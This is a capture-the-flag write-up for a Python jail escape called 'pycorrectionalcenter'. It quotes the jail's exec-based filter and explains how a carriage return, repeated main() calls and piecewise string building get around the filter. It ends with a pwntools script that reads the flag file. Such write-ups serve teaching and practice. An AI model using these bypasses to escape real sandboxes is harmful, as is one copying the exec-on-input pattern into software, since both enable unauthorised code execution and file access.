pycorrectionalcenter is a misc challenge about escaping a python jail.
The challenge included the following jail source code:
#!/usr/bin/env python3.9
trash = {}
def main():
print("Welcome to the Python Correctional Center, where you won't be able to escape!")
allowed_variables = {**vars(__builtins__).copy(), **globals()}
for name in ["exec", "eval", "__import__", "breakpoint", "input", "__builtins__", "getattr", "setattr", "delattr", "license", "vars"]:
allowed_variables[name] = None
inp = input(">>> ")
assert all([ord(c) < 128 for c in inp])
assert not '.' in inp
assert not '_' in inp
assert not '!' in inp
assert not '*' in inp
assert not '&' in inp
assert not '@' in inp
assert not '`' in inp
assert not '~' in inp
assert not '{' in inp
assert not '}' in inp
assert not ';' in inp
assert not '\'' in inp
assert not '\'' in inp
assert not 'lambda' in inp
assert not 'raise' in inp
assert not 'assert' in inp
assert not 'if' in inp
assert not 'for' in inp
assert not 'import' in inp
assert len(inp) < 12
exec(inp, {"__builtins__": allowed_variables}, trash)
exit()
if __name__ == "__main__":
main()We see that the user is prompted for an input, which after a lot of filtering, goes into an exec() function.
We are restricted both in the available variables/functions, what symbols we can use and the length of our input.
We knew from playing another challenge, that we could input a carriage return \r in order to have exec interpret a newline,
while not having input() end our string prematurely.
This allows us to input multiple statements into the exec block without using ;
Looking at the restricted symbols, we also see that strings are not properly prohibited:
assert not '\'' in inp
assert not '\'' in inpInstead of checking for single and double quotes, they are only checking for single quotes. This allows us to easily make strings.
We are not restricted in assignments or function executions.
In order to circumvent the length restriction, we quickly figured out that we could make multiple inputs by calling main() again.
We wanted to do this multiple times, so we assigned main to a shorter variable, and executed at the end of every input.
m=main\rm()
Now we just had to find a way to read the flag file.
The shortest way we could find was with print(next(open('flag.txt'))) which could be encoded like so:
(imagine there is a \rm() after every line)
c="fla"
c=c+"g"
d=chr
e=46
d=d(e)
c+=d
c+="tx"
c+="t"
b=open
f=b(c)
n=next
p=print
p(n(f))Which leads to the final solvescript:
from pwn import *
io = remote("pycorrectionalcenter.chal.imaginaryctf.org", 1337)
cmds = """
c="fla"
c=c+"g"
d=chr
e=46
d=d(e)
c+=d
c+="tx"
c+="t"
b=open
f=b(c)
n=next
p=print
p(n(f))
"""
io.sendlineafter(b">>> ", b"m=main\rm()")
for cmd in cmds.strip().split():
print(io.sendlineafter(b">>> ", cmd.encode() + b"\rm()"))
io.interactive()